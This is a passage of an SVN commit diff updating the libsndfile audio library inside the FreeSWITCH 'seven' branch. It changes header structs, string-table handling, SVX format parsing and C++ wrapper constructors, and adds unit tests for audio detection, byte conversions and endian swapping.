 #define SF_COUNT_MAX		@SF_COUNT_MAX@
+#endif
 
+
 /* A pointer to a SF_INFO structure is passed to sf_open_read () and filled in.
 ** On write, the SF_INFO structure is filled in by the user and passed into
 ** sf_open_write ().
@@ -368,24 +424,31 @@
 } SF_LOOP_INFO ;
 
 
-/*	Struct used to retrieve broadcast (EBU) information from a file. 
+/*	Struct used to retrieve broadcast (EBU) information from a file.
 **	Strongly (!) based on EBU "bext" chunk format used in Broadcast WAVE.
 */
-typedef struct
-{	char			description [256] ;
-	char			originator [32] ;
-	char			originator_reference [32] ;
-	char			origination_date [10] ;
-	char			origination_time [8] ;
-	int				time_reference_low ;
-	int				time_reference_high ;
-	short			version ;
-	char			umid [64] ;
-	char			reserved [190] ;
-	unsigned int	coding_history_size ;
-	char			coding_history [256] ;
-} SF_BROADCAST_INFO ;
+#define	SF_BROADCAST_INFO_VAR(coding_hist_size) \
+			struct \
+			{	char			description [256] ; \
+				char			originator [32] ; \
+				char			originator_reference [32] ; \
+				char			origination_date [10] ; \
+				char			origination_time [8] ; \
+				unsigned int	time_reference_low ; \
+				unsigned int	time_reference_high ; \
+				short			version ; \
+				char			umid [64] ; \
+				char			reserved [190] ; \
+				unsigned int	coding_history_size ; \
+				char			coding_history [coding_hist_size] ; \
+			}
 
+/* SF_BROADCAST_INFO is the above struct with coding_history field of 256 bytes. */
+typedef SF_BROADCAST_INFO_VAR (256) SF_BROADCAST_INFO ;
+
+
+/*	Virtual I/O functionality. */
+
 typedef sf_count_t		(*sf_vio_get_filelen)	(void *user_data) ;
 typedef sf_count_t		(*sf_vio_seek)		(sf_count_t offset, int whence, void *user_data) ;
 typedef sf_count_t		(*sf_vio_read)		(void *ptr, sf_count_t count, void *user_data) ;
@@ -404,7 +467,7 @@
 
 /* Open the specified file for read, write or both. On error, this will
 ** return a NULL pointer. To find the error number, pass a NULL SNDFILE
-** to sf_perror () or sf_error_str ().
+** to sf_strerror ().
 ** All calls to sf_open() should be matched with a call to sf_close().
 */
 
@@ -417,7 +480,7 @@
 ** of file header is at the current file offset. This allows sound files within
 ** larger container files to be read and/or written.
 ** On error, this will return a NULL pointer. To find the error number, pass a
-** NULL SNDFILE to sf_perror () or sf_error_str ().
+** NULL SNDFILE to sf_strerror ().
 ** All calls to sf_open_fd() should be matched with a call to sf_close().
 
 */
@@ -445,7 +508,7 @@
 
 const char*	sf_error_number	(int errnum) ;
 
-/* The following three error functions are deprecated but they will remain in the
+/* The following two error functions are deprecated but they will remain in the
 ** library for the forseeable future. The function sf_strerror() should be used
 ** in their place.
 */

Modified: freeswitch/branches/seven/libs/libsndfile/src/sndfile.hh (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/sndfile.hh	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/sndfile.hh	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 2005,2006 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 2005-2007 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** All rights reserved.
 **
@@ -54,6 +54,7 @@
 
 #include <sndfile.h>
 
+#include <string>
 #include <new> // for std::nothrow
 
 class SndfileHandle
@@ -74,6 +75,8 @@
 			SndfileHandle (void) : p (NULL) {} ;
 			SndfileHandle (const char *path, int mode = SFM_READ,
 							int format = 0, int channels = 0, int samplerate = 0) ;
+			SndfileHandle (std::string const & path, int mode = SFM_READ,
+							int format = 0, int channels = 0, int samplerate = 0) ;
 			~SndfileHandle (void) ;
 
 			SndfileHandle (const SndfileHandle &orig) ;
@@ -104,6 +107,8 @@
 
 		const char* getString (int str_type) const ;
 
+		static int formatCheck (int format, int channels, int samplerate) ;
+
 		sf_count_t read (short *ptr, sf_count_t items) ;
 		sf_count_t read (int *ptr, sf_count_t items) ;
 		sf_count_t read (float *ptr, sf_count_t items) ;
@@ -158,14 +163,35 @@
 		p->sfinfo.sections = 0 ;
 		p->sfinfo.seekable = 0 ;
 
-		if ((p->sf = sf_open (path, mode, &p->sfinfo)) == NULL)
-		{	delete p ;
-			p = NULL ;
-			} ;
+		p->sf = sf_open (path, mode, &p->sfinfo) ;
 		} ;
-} /* SndfileHandle constructor */
 
+	return ;
+} /* SndfileHandle const char * constructor */
+
 inline
+SndfileHandle::SndfileHandle (std::string const & path, int mode, int fmt, int chans, int srate)
+: p (NULL)
+{
+	p = new (std::nothrow) SNDFILE_ref () ;
+
+	if (p != NULL)
+	{	p->ref = 1 ;
+
+		p->sfinfo.frames = 0 ;
+		p->sfinfo.channels = chans ;
+		p->sfinfo.format = fmt ;
+		p->sfinfo.samplerate = srate ;
+		p->sfinfo.sections = 0 ;
+		p->sfinfo.seekable = 0 ;
+
+		p->sf = sf_open (path.c_str (), mode, &p->sfinfo) ;
+		} ;
+
+	return ;
+} /* SndfileHandle std::string constructor */
+
+inline
 SndfileHandle::~SndfileHandle (void)
 {	if (p != NULL && --p->ref == 0)
 		delete p ;
@@ -222,7 +248,21 @@
 SndfileHandle::getString (int str_type) const
 {	return sf_get_string (p->sf, str_type) ; }
 
+inline int
+SndfileHandle::formatCheck(int fmt, int chans, int srate)
+{
+	SF_INFO sfinfo ;
 
+	sfinfo.frames = 0 ;
+	sfinfo.channels = chans ;
+	sfinfo.format = fmt ;
+	sfinfo.samplerate = srate ;
+	sfinfo.sections = 0 ;
+	sfinfo.seekable = 0 ;
+
+	return sf_format_check (&sfinfo) ;
+}
+
 /*---------------------------------------------------------------------*/
 
 inline sf_count_t
@@ -300,10 +340,3 @@
 
 #endif	/* SNDFILE_HH */
 
-/*
-** Do not edit or modify anything in this comment block.
-** The following line is a file identity tag for the GNU Arch
-** revision control system.
-**
-** arch-tag: a0e9d996-73d7-47c4-a78d-79a3232a9eef
-*/

Modified: freeswitch/branches/seven/libs/libsndfile/src/strings.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/strings.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/strings.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 2001-2004 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 2001-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU Lesser General Public License as published by
@@ -34,7 +34,7 @@
 psf_store_string (SF_PRIVATE *psf, int str_type, const char *str)
 {	static char lsf_name [] = PACKAGE "-" VERSION ;
 	static char bracket_name [] = " (" PACKAGE "-" VERSION ")" ;
-	int		k, str_len, len_remaining, str_flags ;
+	int		k, str_len, len_remaining, str_flags, str_type_replace = 0 ;
 
 	if (str == NULL)
 		return SFE_STR_BAD_STRING ;
@@ -45,26 +45,31 @@
 	if (psf->mode == SFM_WRITE || psf->mode == SFM_RDWR)
 	{	if ((psf->str_flags & SF_STR_ALLOW_START) == 0)
 			return SFE_STR_NO_SUPPORT ;
-		if ((psf->str_flags & SF_STR_ALLOW_END) == 0)
+		if (psf->have_written && (psf->str_flags & SF_STR_ALLOW_END) == 0)
 			return SFE_STR_NO_SUPPORT ;
 		/* Only allow zero length strings for software. */
 		if (str_type != SF_STR_SOFTWARE && str_len == 0)
 			return SFE_STR_BAD_STRING ;
 		} ;
 
+	/* Find the next free slot in table. */
+	for (k = 0 ; k < SF_MAX_STRINGS ; k++)
+	{	/* If we find a matching entry clear it. */
+		if (psf->strings [k].type == str_type)
+			psf->strings [k].type = -1 ;
+
+		if (psf->strings [k].type == 0)
+			break ;
+		} ;
+
 	/* Determine flags */
 	str_flags = SF_STR_LOCATE_START ;
-	if (psf->have_written)
+	if (psf->mode == SFM_RDWR || psf->have_written || str_type_replace)
 	{	if ((psf->str_flags & SF_STR_ALLOW_END) == 0)
 			return SFE_STR_NO_ADD_END ;
 		str_flags = SF_STR_LOCATE_END ;
 		} ;
 
-	/* Find next free slot in table. */
-	for (k = 0 ; k < SF_MAX_STRINGS ; k++)
-		if (psf->strings [k].type == 0)
-			break ;
-
 	/* More sanity checking. */
 	if (k >= SF_MAX_STRINGS)
 		return SFE_STR_MAX_COUNT ;
@@ -83,13 +88,6 @@
 	if (k == 0)
 		psf->str_end = psf->str_storage ;
 
-
-#if STRINGS_DEBUG
-	psf_log_printf (psf, "str_storage          : %X\n", (int) psf->str_storage) ;
-	psf_log_printf (psf, "str_end              : %X\n", (int) psf->str_end) ;
-	psf_log_printf (psf, "sizeof (str_storage) : %d\n", SIGNED_SIZEOF (psf->str_storage)) ;
-#endif
-
 	len_remaining = SIGNED_SIZEOF (psf->str_storage) - (psf->str_end - psf->str_storage) ;
 
 	if (len_remaining < str_len + 2)
@@ -130,6 +128,8 @@
 		case SF_STR_ARTIST :
 		case SF_STR_COMMENT :
 		case SF_STR_DATE :
+		case SF_STR_ALBUM :
+		case SF_STR_LICENSE :
 				psf->strings [k].type = str_type ;
 				psf->strings [k].str = psf->str_end ;
 				psf->strings [k].flags = str_flags ;
@@ -140,12 +140,19 @@
 				break ;
 
 		default :
+			psf_log_printf (psf, "%s : SFE_STR_BAD_TYPE\n", __func__) ;
 			return SFE_STR_BAD_TYPE ;
 		} ;
 
-	psf->str_flags |= (psf->have_written) ? SF_STR_LOCATE_END : SF_STR_LOCATE_START ;
+	psf->str_flags |= str_flags ;
 
 #if STRINGS_DEBUG
+	psf_log_printf (psf, "str_storage          : %X\n", (int) psf->str_storage) ;
+	psf_log_printf (psf, "str_end              : %X\n", (int) psf->str_end) ;
+	psf_log_printf (psf, "sizeof (str_storage) : %d\n", SIGNED_SIZEOF (psf->str_storage)) ;
+	psf_log_printf (psf, "used                 : %d\n", (int ) (psf->str_end - psf->str_storage)) ;
+	psf_log_printf (psf, "remaining            : %d\n", SIGNED_SIZEOF (psf->str_storage) - (psf->str_end - psf->str_storage)) ;
+
 	hexdump (psf->str_storage, 300) ;
 #endif
 
@@ -171,6 +178,20 @@
 	return NULL ;
 } /* psf_get_string */
 
+int
+psf_location_string_count (const SF_PRIVATE * psf, int location)
+{	int k, count = 0 ;
+
+	for (k = 0 ; k < SF_MAX_STRINGS ; k++)
+		if (psf->strings [k].type > 0 && psf->strings [k].flags & location)
+			count ++ ;
+
+	return count ;
+} /* psf_location_string_count */
+
+/*==============================================================================
+*/
+
 #if STRINGS_DEBUG
 
 #include <ctype.h>
@@ -195,10 +216,3 @@
 } /* hexdump */
 
 #endif
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch 
-** revision control system.
-**
-** arch-tag: 04393aa1-9389-46fe-baf2-58a7bd544fd6
-*/

Modified: freeswitch/branches/seven/libs/libsndfile/src/svx.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/svx.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/svx.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 1999-2004 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 1999-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU Lesser General Public License as published by
@@ -99,10 +99,10 @@
 	{	if (psf->is_pipe)
 			return SFE_NO_PIPE_WRITE ;
 
-		if ((psf->sf.format & SF_FORMAT_TYPEMASK) != SF_FORMAT_SVX)
+		if ((SF_CONTAINER (psf->sf.format)) != SF_FORMAT_SVX)
 			return	SFE_BAD_OPEN_FORMAT ;
 
-		psf->endian = psf->sf.format & SF_FORMAT_ENDMASK ;
+		psf->endian = SF_ENDIAN (psf->sf.format) ;
 
 		if (psf->endian == SF_ENDIAN_LITTLE || (CPU_IS_LITTLE_ENDIAN && psf->endian == SF_ENDIAN_CPU))
 			return SFE_BAD_ENDIAN ;
@@ -134,6 +134,9 @@
 	int				filetype = 0, parsestage = 0, done = 0 ;
 	int 			bytecount = 0, channels ;
 
+	if (psf->filelength > SF_PLATFORM_S64 (0xffffffff))
+		psf_log_printf (psf, "Warning : filelength > 0xffffffff. This is bad!!!!\n") ;
+
 	memset (&vhdr, 0, sizeof (vhdr)) ;
 	psf_binheader_readf (psf, "p", 0) ;
 
@@ -223,6 +226,8 @@
 					psf->datalength = dword ;
 
 					psf->dataoffset = psf_ftell (psf) ;
+					if (psf->dataoffset < 0)
+						return SFE_SVX_NO_BODY ;
 
 					if (psf->datalength > psf->filelength - psf->dataoffset)
 					{	psf_log_printf (psf, " BODY : %D (should be %D)\n", psf->datalength, psf->filelength - psf->dataoffset) ;
@@ -400,11 +405,3 @@
 	return psf->error ;
 } /* svx_write_header */
 
-
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch 
-** revision control system.
-**
-** arch-tag: a80ab6fb-7d75-4d32-a6b0-0061a3f05d95
-*/

Copied: freeswitch/branches/seven/libs/libsndfile/src/test_audio_detect.c (from rev 14471, freeswitch/trunk/libs/libsndfile/src/test_audio_detect.c) (0 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/test_audio_detect.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/libsndfile/src/test_audio_detect.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,112 @@
+/*
+** Copyright (C) 2007-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
+**
+** This program is free software; you can redistribute it and/or modify
+** it under the terms of the GNU Lesser General Public License as published by
+** the Free Software Foundation; either version 2.1 of the License, or
+** (at your option) any later version.
+**
+** This program is distributed in the hope that it will be useful,
+** but WITHOUT ANY WARRANTY; without even the implied warranty of
+** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+** GNU Lesser General Public License for more details.
+**
+** You should have received a copy of the GNU Lesser General Public License
+** along with this program; if not, write to the Free Software
+** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
+*/
+
+#include "sfconfig.h"
+
+#include <stdio.h>
+#include <stdlib.h>
+
+#if HAVE_UNISTD_H
+#include <unistd.h>
+#endif
+
+#include <string.h>
+#include <errno.h>
+
+#include "common.h"
+#include "sfendian.h"
+
+#include "test_main.h"
+
+static unsigned char float_le_mono [] =
+{	0x36, 0x86, 0x21, 0x44, 0xB5, 0xB4, 0x49, 0x44, 0xA2, 0xC0, 0x71, 0x44, 0x7B, 0xD1, 0x8C, 0x44,
+	0x54, 0xAA, 0xA0, 0x44, 0x60, 0x67, 0xB4, 0x44, 0x22, 0x05, 0xC8, 0x44, 0x29, 0x80, 0xDB, 0x44,
+	0x04, 0xD5, 0xEE, 0x44, 0x27, 0x00, 0x01, 0x45, 0x50, 0x7F, 0x0A, 0x45, 0x53, 0xE6, 0x13, 0x45,
+	0x85, 0x33, 0x1D, 0x45, 0x43, 0x65, 0x26, 0x45, 0xEC, 0x79, 0x2F, 0x45, 0xE3, 0x6F, 0x38, 0x45,
+	0x98, 0x45, 0x41, 0x45, 0x77, 0xF9, 0x49, 0x45, 0xF6, 0x89, 0x52, 0x45, 0x8F, 0xF5, 0x5A, 0x45,
+	0xC9, 0x3A, 0x63, 0x45, 0x28, 0x58, 0x6B, 0x45, 0x3C, 0x4C, 0x73, 0x45, 0x9F, 0x15, 0x7B, 0x45,
+	0x75, 0x59, 0x81, 0x45, 0x64, 0x11, 0x85, 0x45, 0xF1, 0xB1, 0x88, 0x45, 0x78, 0x3A, 0x8C, 0x45,
+	0x58, 0xAA, 0x8F, 0x45, 0xF2, 0x00, 0x93, 0x45, 0xB2, 0x3D, 0x96, 0x45, 0x01, 0x60, 0x99, 0x45,
+	0x50, 0x67, 0x9C, 0x45, 0x15, 0x53, 0x9F, 0x45, 0xCC, 0x22, 0xA2, 0x45, 0xF0, 0xD5, 0xA4, 0x45,
+	0x07, 0x6C, 0xA7, 0x45, 0x9C, 0xE4, 0xA9, 0x45, 0x3D, 0x3F, 0xAC, 0x45, 0x7A, 0x7B, 0xAE, 0x45,
+	0xF2, 0x98, 0xB0, 0x45, 0x3C, 0x97, 0xB2, 0x45, 0x02, 0x76, 0xB4, 0x45, 0xEC, 0x34, 0xB6, 0x45,
+	0xA8, 0xD3, 0xB7, 0x45, 0xEB, 0x51, 0xB9, 0x45, 0x6F, 0xAF, 0xBA, 0x45, 0xF5, 0xEB, 0xBB, 0x45,
+	0x41, 0x07, 0xBD, 0x45, 0x21, 0x01, 0xBE, 0x45, 0x64, 0xD9, 0xBE, 0x45, 0xE3, 0x8F, 0xBF, 0x45,
+	0x7E, 0x24, 0xC0, 0x45, 0x15, 0x97, 0xC0, 0x45, 0x92, 0xE7, 0xC0, 0x45, 0xE8, 0x15, 0xC1, 0x45,
+	0x7E, 0x24, 0xC0, 0x45, 0x15, 0x97, 0xC0, 0x45, 0x92, 0xE7, 0xC0, 0x45, 0xE8, 0x15, 0xC1, 0x45,
+	0x7E, 0x24, 0xC0, 0x45, 0x15, 0x97, 0xC0, 0x45, 0x92, 0xE7, 0xC0, 0x45, 0xE8, 0x15, 0xC1, 0x45,
+} ;
+
+static unsigned char int24_32_le_stereo [] =
+{
+	0x00, 0xE7, 0xFB, 0xFF, 0x00, 0x7C, 0xFD, 0xFF, 0x00, 0xA2, 0xFC, 0xFF, 0x00, 0x2B, 0xFC, 0xFF,
+	0x00, 0xF3, 0xFD, 0xFF, 0x00, 0x19, 0xFB, 0xFF, 0x00, 0xA5, 0xFE, 0xFF, 0x00, 0x8D, 0xFA, 0xFF,
+	0x00, 0x91, 0xFF, 0xFF, 0x00, 0xB5, 0xFA, 0xFF, 0x00, 0x91, 0x00, 0x00, 0x00, 0x5E, 0xFB, 0xFF,
+	0x00, 0xD9, 0x01, 0x00, 0x00, 0x82, 0xFB, 0xFF, 0x00, 0xDF, 0x03, 0x00, 0x00, 0x44, 0xFC, 0xFF,
+	0x00, 0x1C, 0x05, 0x00, 0x00, 0x77, 0xFC, 0xFF, 0x00, 0x8D, 0x06, 0x00, 0x00, 0x4F, 0xFC, 0xFF,
+	0x00, 0x84, 0x07, 0x00, 0x00, 0x74, 0xFC, 0xFF, 0x00, 0x98, 0x08, 0x00, 0x00, 0x33, 0xFD, 0xFF,
+	0x00, 0xB9, 0x09, 0x00, 0x00, 0x48, 0xFF, 0xFF, 0x00, 0xD1, 0x0A, 0x00, 0x00, 0x10, 0x02, 0x00,
+	0x00, 0x28, 0x0C, 0x00, 0x00, 0xA2, 0x05, 0x00, 0x00, 0xA7, 0x0C, 0x00, 0x00, 0x45, 0x08, 0x00,
+	0x00, 0x44, 0x0D, 0x00, 0x00, 0x1A, 0x0A, 0x00, 0x00, 0x65, 0x0D, 0x00, 0x00, 0x51, 0x0B, 0x00,
+	0x00, 0x8B, 0x0D, 0x00, 0x00, 0x18, 0x0B, 0x00, 0x00, 0x37, 0x0E, 0x00, 0x00, 0x24, 0x0B, 0x00,
+	0x00, 0x00, 0x0F, 0x00, 0x00, 0xDD, 0x0A, 0x00, 0x00, 0x83, 0x10, 0x00, 0x00, 0x31, 0x0A, 0x00,
+	0x00, 0x07, 0x12, 0x00, 0x00, 0xC0, 0x08, 0x00, 0x00, 0xF7, 0x12, 0x00, 0x00, 0x47, 0x06, 0x00,
+	0x00, 0xDD, 0x12, 0x00, 0x00, 0x6A, 0x03, 0x00, 0x00, 0xD5, 0x11, 0x00, 0x00, 0x99, 0x00, 0x00,
+	0x00, 0x01, 0x10, 0x00, 0x00, 0xC5, 0xFE, 0xFF, 0x00, 0xF4, 0x0D, 0x00, 0x00, 0x97, 0xFD, 0xFF,
+	0x00, 0x62, 0x0B, 0x00, 0x00, 0x75, 0xFC, 0xFF, 0x00, 0xE9, 0x08, 0x00, 0x00, 0xC0, 0xFB, 0xFF,
+	0x00, 0x80, 0x06, 0x00, 0x00, 0x3C, 0xFB, 0xFF, 0x00, 0xDA, 0x03, 0x00, 0x00, 0xE4, 0xFA, 0xFF,
+	0x00, 0xEB, 0x01, 0x00, 0x00, 0x21, 0xFB, 0xFF, 0x00, 0x20, 0x00, 0x00, 0x00, 0xE7, 0xFB, 0xFF,
+} ;
+
+
+void
+test_audio_detect (void)
+{
+	SF_PRIVATE psf ;
+	AUDIO_DETECT ad ;
+	int errors = 0 ;
+
+	print_test_name ("Testing audio detect") ;
+
+	memset (&psf, 0, sizeof (psf)) ;
+
+	ad.endianness = SF_ENDIAN_LITTLE ;
+	ad.channels = 1 ;
+	if (audio_detect (&psf, &ad, float_le_mono, sizeof (float_le_mono)) != SF_FORMAT_FLOAT)
+	{	if (errors == 0) puts ("\nFailed tests :\n") ;
+		puts ("    float_le_mono") ;
+		errors ++ ;
+		} ;
+
+	ad.endianness = SF_ENDIAN_LITTLE ;
+	ad.channels = 2 ;
+	if (audio_detect (&psf, &ad, int24_32_le_stereo, sizeof (int24_32_le_stereo)) != SF_FORMAT_PCM_32)
+	{	if (errors == 0) puts ("\nFailed tests :\n") ;
+		puts ("    int24_32_le_stereo") ;
+		errors ++ ;
+		} ;
+
+	if (errors != 0)
+	{	printf ("\n    Errors : %d\n\n", errors) ;
+		exit (1) ;
+		} ;
+
+	puts ("ok") ;
+
+	return ;
+} /* test_audio_detect */

Copied: freeswitch/branches/seven/libs/libsndfile/src/test_conversions.c (from rev 14471, freeswitch/trunk/libs/libsndfile/src/test_conversions.c) (0 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/test_conversions.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/libsndfile/src/test_conversions.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,104 @@
+/*
+** Copyright (C) 2006-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
+**
+** This program is free software; you can redistribute it and/or modify
+** it under the terms of the GNU Lesser General Public License as published by
+** the Free Software Foundation; either version 2.1 of the License, or
+** (at your option) any later version.
+**
+** This program is distributed in the hope that it will be useful,
+** but WITHOUT ANY WARRANTY; without even the implied warranty of
+** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+** GNU Lesser General Public License for more details.
+**
+** You should have received a copy of the GNU Lesser General Public License
+** along with this program; if not, write to the Free Software
+** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
+*/
+
+#include "sfconfig.h"
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <stdint.h>
+#include <string.h>
+#include <stdarg.h>
+#include <errno.h>
+#include <inttypes.h>
+
+#include "common.h"
+#include "test_main.h"
+
+
+/*
+** This is a bit rough, but it is the nicest way to do it.
+*/
+
+#define cmp_test(line,ival,tval,str) \
+	if (ival != tval) \
+	{	printf (str, line, ival, tval) ; \
+		exit (1) ; \
+		} ;
+
+static void
+conversion_test (char endian)
+{
+	SF_PRIVATE	sf_private, *psf ;
+	const char * filename = "conversion.bin" ;
+	int64_t i64 = SF_PLATFORM_S64 (0x0123456789abcdef), t64 = 0 ;
+	char format_str [16] ;
+	char test_name [64] ;
+	char i8 = 12, t8 = 0 ;
+	short i16 = 0x123, t16 = 0 ;
+	int i24 = 0x23456, t24 = 0 ;
+	int i32 = 0x0a0b0c0d, t32 = 0 ;
+	int bytes ;
+
+	snprintf (format_str, sizeof (format_str), "%c12348", endian) ;
+
+	snprintf (test_name, sizeof (test_name), "Testing %s conversions", endian == 'e' ? "little endian" : "big endian") ;
+	print_test_name (test_name) ;
+
+	psf = &sf_private ;
+	memset (psf, 0, sizeof (sf_private)) ;
+
+	if (psf_fopen (psf, filename, SFM_WRITE) != 0)
+	{	printf ("\n\nError : failed to open file '%s' for write.\n\n", filename) ;
+		exit (1) ;
+		} ;
+
+	psf_binheader_writef (psf, format_str, i8, i16, i24, i32, i64) ;
+	psf_fwrite (psf->header, 1, psf->headindex, psf) ;
+	psf_fclose (psf) ;
+
+	memset (psf, 0, sizeof (sf_private)) ;
+	if (psf_fopen (psf, filename, SFM_READ) != 0)
+	{	printf ("\n\nError : failed to open file '%s' for read.\n\n", filename) ;
+		exit (1) ;
+		} ;
+
+	bytes = psf_binheader_readf (psf, format_str, &t8, &t16, &t24, &t32, &t64) ;
+	psf_fclose (psf) ;
+
+	if (bytes != 18)
+	{	printf ("\n\nLine %d : read %d bytes.\n\n", __LINE__, bytes) ;
+		exit (1) ;
+		} ;
+
+	cmp_test (__LINE__, i8, t8, "\n\nLine %d : 8 bit int failed %d -> %d.\n\n") ;
+	cmp_test (__LINE__, i16, t16, "\n\nLine %d : 16 bit int failed 0x%x -> 0x%x.\n\n") ;
+	cmp_test (__LINE__, i24, t24, "\n\nLine %d : 24 bit int failed 0x%x -> 0x%x.\n\n") ;
+	cmp_test (__LINE__, i32, t32, "\n\nLine %d : 32 bit int failed 0x%x -> 0x%x.\n\n") ;
+	cmp_test (__LINE__, i64, t64, "\n\nLine %d : 64 bit int failed 0x%" PRIx64 "x -> 0x%" PRIx64 "x.\n\n") ;
+
+	remove (filename) ;
+	puts ("ok") ;
+} /* conversion_test */
+
+void
+test_conversions (void)
+{
+	conversion_test ('E') ;
+	conversion_test ('e') ;
+} /* test_conversion */
+

Modified: freeswitch/branches/seven/libs/libsndfile/src/test_endswap.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/test_endswap.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/test_endswap.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 2002-2005 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 2002-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU Lesser General Public License as published by
@@ -20,43 +20,25 @@
 
 #include <stdio.h>
 #include <stdlib.h>
+#include <string.h>
+#include <errno.h>
+#include <inttypes.h>
 
 #if HAVE_UNISTD_H
 #include <unistd.h>
 #endif
 
-#include <string.h>
-#include <errno.h>
-
 #include "common.h"
 #include "sfendian.h"
 
+#include "test_main.h"
+
 #define	FMT_SHORT	"0x%04x\n"
 #define	FMT_INT		"0x%08x\n"
+#define	FMT_INT64	"0x%016" PRIx64 "\n"
 
-#if SIZEOF_INT64_T == SIZEOF_LONG
-#define	FMT_INT64	"0x%016lx\n"
-#else
-#define	FMT_INT64	"0x%016llx\n"
-#endif
-
-static void test_endswap_short (void) ;
-static void test_endswap_int (void) ;
-static void test_endswap_int64_t (void) ;
-
-
-int
-main (void)
-{
-	test_endswap_short () ;
-	test_endswap_int () ;
-	test_endswap_int64_t () ;
-
-	return 0 ;
-} /* main */
-
 /*==============================================================================
-** Actual test functions.
+** Test functions.
 */
 
 
@@ -75,7 +57,7 @@
 {	short orig [4], first [4], second [4] ;
 	int k ;
 
-	printf ("    %-24s : ", "test_endswap_short") ;
+	printf ("    %-40s : ", "test_endswap_short") ;
 	fflush (stdout) ;
 
 	for (k = 0 ; k < ARRAY_LEN (orig) ; k++)
@@ -135,7 +117,7 @@
 {	int orig [4], first [4], second [4] ;
 	int k ;
 
-	printf ("    %-24s : ", "test_endswap_int") ;
+	printf ("    %-40s : ", "test_endswap_int") ;
 	fflush (stdout) ;
 
 	for (k = 0 ; k < ARRAY_LEN (orig) ; k++)
@@ -195,7 +177,7 @@
 {	int64_t orig [4], first [4], second [4] ;
 	int k ;
 
-	printf ("    %-24s : ", "test_endswap_int64_t") ;
+	printf ("    %-40s : ", "test_endswap_int64_t") ;
 	fflush (stdout) ;
 
 	for (k = 0 ; k < ARRAY_LEN (orig) ; k++)
@@ -242,4 +224,12 @@
 
 
 
+void
+test_endswap (void)
+{
+	test_endswap_short () ;
+	test_endswap_int () ;
+	test_endswap_int64_t () ;
 
+} /* test_endswap */
+

Modified: freeswitch/branches/seven/libs/libsndfile/src/test_endswap.def (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/test_endswap.def	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/test_endswap.def	2009-08-09 18:53:22 UTC (rev 14472)
@@ -18,11 +18,3 @@
 	format		= FMT_INT64 ;
 	} ;
 
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch
-** revision control system.
-**
-** arch-tag: 098c07e0-2d3f-4f62-ad93-f3f4b91c5211
-*/
-

Modified: freeswitch/branches/seven/libs/libsndfile/src/test_endswap.tpl (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/test_endswap.tpl	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/test_endswap.tpl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -21,43 +21,25 @@
 
 #include <stdio.h>
 #include <stdlib.h>
+#include <string.h>
+#include <errno.h>
+#include <inttypes.h>
 
 #if HAVE_UNISTD_H
 #include <unistd.h>
 #endif
 
-#include <string.h>
-#include <errno.h>
-
 #include "common.h"
 #include "sfendian.h"
 
+#include "test_main.h"
+
 #define	FMT_SHORT	"0x%04x\n"
 #define	FMT_INT		"0x%08x\n"
+#define	FMT_INT64	"0x%016" PRIx64 "\n"
 
-#if SIZEOF_INT64_T == SIZEOF_LONG
-#define	FMT_INT64	"0x%016lx\n"
-#else
-#define	FMT_INT64	"0x%016llx\n"
-#endif
-
-[+ FOR int_type
-+]static void test_endswap_[+ (get "name") +] (void) ;
-[+ ENDFOR int_type
-+]
-
-int
-main (void)
-{
-[+ FOR int_type
-+]	test_endswap_[+ (get "name") +] () ;
-[+ ENDFOR int_type
-+]
-	return 0 ;
-} /* main */
-
 /*==============================================================================
-** Actual test functions.
+** Test functions.
 */
 
 [+ FOR int_type +]
